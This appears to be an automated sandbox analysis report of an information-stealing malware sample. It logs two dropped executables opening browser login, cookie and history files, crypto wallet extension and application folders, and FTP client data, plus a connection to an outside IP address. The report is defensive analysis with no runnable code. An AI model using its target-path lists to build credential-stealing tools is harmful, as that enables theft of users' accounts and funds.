Source: bfa374134d.exe	String found in binary or memory: "ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d"

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.10:49792 -> 185.185.71.170:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
